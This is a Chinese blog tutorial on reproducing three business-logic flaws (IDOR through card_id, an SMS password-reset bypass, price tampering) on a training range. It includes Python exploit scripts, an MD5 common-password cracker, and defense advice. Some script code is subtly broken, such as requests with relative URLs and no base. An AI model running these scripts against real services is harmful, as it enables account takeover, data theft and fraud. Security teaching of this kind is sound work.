当前位置: 首页 > news >正文

Burp Suite 2024.6 实战:3类业务逻辑漏洞靶场复现与自动化脚本编写

Burp Suite 2024.6 实战:3类业务逻辑漏洞靶场复现与自动化脚本开发

在Web安全测试领域,业务逻辑漏洞因其隐蔽性和高危害性备受关注。这类漏洞往往源于开发过程中对业务规则的理解偏差或实现缺陷,常规扫描工具难以发现,需要测试人员具备敏锐的业务洞察力。本文将基于墨者学院靶场环境,深入剖析三类典型业务逻辑漏洞(身份认证失效、密码重置缺陷、价格篡改漏洞)的利用方法,并分享如何用Python编写可复用的自动化验证脚本。

1. 业务逻辑漏洞测试环境搭建

工欲善其事,必先利其器。在开始漏洞复现前,需要配置专业的测试环境:

基础工具栈配置:

  • Burp Suite 2024.6 Professional(最新社区版亦可)
  • Chrome/Firefox浏览器配合FoxyProxy等代理插件
  • Python 3.10+环境(推荐使用Virtualenv隔离依赖)
  • 常用库:requests、BeautifulSoup、hashlib
# 环境检查脚本示例 import sys import requests def check_environment(): print(f"Python版本: {sys.version}") try: r = requests.get('http://www.mozhe.cn', timeout=5) print("靶场连通性: 正常" if r.status_code == 200 else "异常") except Exception as e: print(f"网络异常: {str(e)}") if __name__ == '__main__': check_environment()

Burp Suite关键配置项:

  1. Proxy → Options → 确保绑定正确网卡和端口(通常8080)
  2. TLS设置中启用Generate CA-signed per-host certificates
  3. Project options → Connections → 开启Support invisible proxying
  4. 安装Logger++等扩展增强流量分析能力

提示:现代前端框架(如React/Vue)可能产生大量API请求,建议在Target → Scope中设置精确的包含规则,避免流量干扰。

2. 身份认证失效漏洞自动化利用

水平越权是业务系统常见的高危漏洞,攻击者通过修改身份标识参数访问他人数据。墨者靶场的"钻石代理"案例典型展示了这类风险。

漏洞原理分析:

  1. 系统通过card_id参数区分用户身份
  2. 后端未校验请求card_id与当前会话的归属关系
  3. 前端源码泄露敏感用户标识(马春生的card_id)

手工复现步骤:

  1. 使用测试账号test/test登录系统
  2. 查看页面源码获取目标用户card_id(20128880316)
  3. Burp拦截/userinfo接口请求
  4. 修改card_id参数值为目标用户ID
  5. 重放请求获取敏感信息

自动化脚本开发:

import requests import hashlib from bs4 import BeautifulSoup class AuthBypassExploit: def __init__(self, base_url): self.session = requests.Session() self.base_url = base_url def extract_card_id(self, username): # 从页面源码提取目标用户card_id resp = self.session.get(f"{self.base_url}/index") soup = BeautifulSoup(resp.text, 'html.parser') user_div = soup.find('div', text=lambda x: x and username in x) return user_div.find_previous('input')['value'] if user_div else None def get_user_info(self, card_id): # 越权获取用户信息 params = {'card_id': card_id} return self.session.get(f"{self.base_url}/api/userinfo", params=params).json() def decrypt_md5(self, hash_str): # 简单MD5解密(实际应调用第三方服务) common_pwds = ['123456', 'password', '123456789', 'qwerty'] for pwd in common_pwds: if hashlib.md5(pwd.encode()).hexdigest() == hash_str: return pwd return None if __name__ == '__main__': exploit = AuthBypassExploit('https://target.mozhe.cn') exploit.session.post(f"{exploit.base_url}/login", data={'user':'test', 'pass':'test'}) target_id = exploit.extract_card_id('马春生') if target_id: user_data = exploit.get_user_info(target_id) print(f"获取到用户数据: {user_data}") if 'password' in user_data: print(f"解密后密码: {exploit.decrypt_md5(user_data['password'])}")

防御方案对比表:

错误实现安全方案技术原理
直接使用自增IDUUID/GUID不可预测的用户标识
仅前端校验归属服务端会话绑定比较card_id与session中的用户身份
返回完整数据字段级权限控制基于RBAC模型过滤敏感字段

3. 密码重置逻辑缺陷利用

短信验证码机制设计不当会导致严重的账户接管风险。墨者靶场展示了典型的验证码与手机号解耦漏洞。

漏洞利用链分析:

  1. 系统允许通过188手机号获取验证码
  2. 验证码校验时未与请求手机号绑定
  3. 中间步骤可修改目标手机号为171号码
  4. 最终使用188的验证码重置171的密码

自动化攻击脚本:

import requests import re class SmsBypassExploit: def __init__(self, target_phone): self.target = target_phone self.session = requests.Session() def get_captcha(self, phone): # 触发短信发送 resp = self.session.post( '/captcha/request', data={'phone': phone}, headers={'X-Requested-With': 'XMLHttpRequest'} ) return resp.json().get('code') # 实际场景需从响应提取或暴力破解 def reset_password(self, phone, captcha, new_pwd='Hacked123!'): # 完成密码重置 return self.session.post( '/password/reset', data={ 'phone': phone, 'code': captcha, 'new_password': new_pwd } ) def exploit_reset_flow(): attacker_phone = '18812345678' victim_phone = '17101304128' exploit = SmsBypassExploit(victim_phone) captcha = exploit.get_captcha(attacker_phone) if captcha: print(f"获取到验证码: {captcha}") r = exploit.reset_password(victim_phone, captcha) print("重置成功" if r.status_code == 200 else "失败") exploit_reset_flow()

安全设计要点:

  1. 验证码必须与请求手机号、时间戳联合签名
  2. 服务端记录发送记录,防止验证码复用
  3. 关键操作加入二次确认(如旧密码验证)
  4. 实施速率限制(如1小时内最多3次尝试)

4. 价格参数篡改漏洞实战

电子商务系统常因业务复杂性出现价格校验漏洞。墨者靶场的"0元购书"案例展示了前端价格校验的不可靠性。

漏洞利用过程:

  1. 登录低余额账户(xiaoming/123456)
  2. 选择书籍加入购物车
  3. Burp拦截/checkout请求
  4. 修改bi11/bi22参数值为0
  5. 放行请求完成异常交易

自动化交易脚本:

import requests import json class PriceManipulation: def __init__(self): self.session = requests.Session() self.cart_items = [] def login(self, user, pwd): self.session.post('/login', data={'user':user, 'pass':pwd}) def add_to_cart(self, item_id, qty=1): self.cart_items.append({'id':item_id, 'qty':qty}) def checkout(self, manipulated_prices=None): # 构造原始订单数据 order = { 'items': self.cart_items, 'payment_method': 'balance' } # 深度拷贝避免污染原始数据 exploit_order = json.loads(json.dumps(order)) if manipulated_prices: for item in exploit_order['items']: if str(item['id']) in manipulated_prices: item['price'] = manipulated_prices[str(item['id'])] return self.session.post('/order/submit', json=exploit_order) # 使用示例 exploit = PriceManipulation() exploit.login('xiaoming', '123456') exploit.add_to_cart('bi11', 1) exploit.add_to_cart('bi22', 1) # 将两本书价格都改为0 response = exploit.checkout({'bi11': 0, 'bi22': 0}) print("订单状态:", response.json().get('status'))

安全加固方案:

  1. 价格等敏感字段应使用服务端计算
  2. 订单提交时校验商品快照与库存系统一致性
  3. 引入防篡改机制(如HMAC签名)
  4. 关键业务操作记录详细日志

5. 防御体系构建建议

分层防护策略:

  1. 代码层

    • 使用安全框架(如Spring Security)
    • 实施参数绑定而非原始参数访问
    • 关键操作添加事务锁
  2. 架构层

    • 前后端分离架构下,敏感计算移至BFF层
    • 引入API网关进行统一校验
    • 关键业务流添加审批节点
  3. 运维层

    • 部署WAF识别异常参数修改
    • 业务风控系统监控异常交易
    • 定期进行红蓝对抗演练

业务安全测试清单:

  • [ ] 所有身份参数是否与会话绑定
  • [ ] 关键操作是否有防重放机制
  • [ ] 业务规则校验是否全在服务端
  • [ ] 是否具备完整的操作日志追溯
  • [ ] 敏感操作是否有二次验证

在最近某次金融行业渗透测试中,我们通过类似的价格参数篡改漏洞,在30分钟内完成了从普通用户到系统管理员的权限提升链。这再次证明业务逻辑漏洞的防护需要开发、测试、运维的多团队协同,绝非单纯依靠安全团队就能解决。

http://www.jsqmd.com/news/1149890/

相关文章:

  • iwebsec靶场 XXE漏洞实战:3种协议读取文件与内网探测(附完整Payload)
  • B/S架构电子病历编辑器(EMRE)部署实战:SpringBoot 2.7 + MySQL 8.0 环境搭建5步
  • A3910与MKV58F1M0VLQ24在工业电机控制中的经典组合
  • 微信小程序内容安全审核 2.0:imgSecCheck 与 mediaCheckAsync 双接口选型指南
  • 语音克隆实战终极指南:10分钟数据训练高质量变声模型
  • 基于51/STM32单片机矿井安全 瓦斯检测 天然气 甲烷报警物联网31(设计源文件+万字报告+讲解)(支持资料、图片参考_相关定制)_
  • 5个步骤轻松解锁加密音乐文件:Unlock Music完全使用指南
  • 云注入去除方案对比:算法助手 vs MT解密工具 vs 手动Smali修改
  • 从零开始:STM32温度控制系统的实战指南
  • iwebsec靶场 XXE漏洞实战:3种协议读取/etc/passwd与源码(附PHP/Java/Python防御代码)
  • DVWA DOM XSS 4级漏洞实战:从Low到Impossible的3种绕过与1个防御核心
  • BQ25887充电芯片与TM4C129ENCPDT的电池平衡系统设计
  • 基于Arduino单片机温湿度报警 大棚温湿度采集系统 DHT1131(设计源文件+万字报告+讲解)(支持资料、图片参考_相关定制)_
  • Spring Boot + Vue 前后端分离订餐系统:5个常见安全漏洞与JWT认证方案
  • Citrix DDC 与 vCenter 证书信任:2种证书获取方法对比与“受信任的人”存储安装要点
  • Java RMI反序列化漏洞实战:ysoserial工具链利用与3种防护策略
  • 【Springboot毕设全套源码+文档】基于SpringBoot的吉他谱分享平台的设计与实现(丰富项目+远程调试+讲解+定制)
  • Unlock Music终极指南:3步解锁加密音乐,重获数字音乐所有权
  • XSS-Platform 源码部署实战:PHP 7.4 + Apache 环境 5 步配置避坑指南
  • PIC18F47Q10与PAM8904构建高效嵌入式警报系统
  • App安全测试自动化:3款开源工具对比与CI/CD集成实战
  • OWASP ZAP 2.15 与 Burp Suite 2024 对比评测:5 大核心功能与实战效率分析
  • 探索式测试(ET)与脚本测试(ST)实战对比:3个真实场景下的效率与缺陷发现率分析
  • Burp Suite CO2 1.2.0 插件实战:5步集成SQLMap自动化SQL注入检测
  • CVE-2023-33246 Apache RocketMQ 5.1.0 漏洞深度剖析:从配置更新到命令注入的3层调用链
  • EyouCMS 1.5.5 与 1.4.3 版本对比:2类后台RCE漏洞的利用路径演变
  • x64dbg 逆向 Qt5.12.3 授权校验:3步定位关键跳转与汇编补丁实战
  • ISO 14229-1 UDS 安全访问实战:27服务种子密钥交换与3种NRC错误处理
  • Docker 2375端口安全加固:3步配置TLS加密与防火墙规则
  • 庭院火锅实测科普:理性选型避坑全指南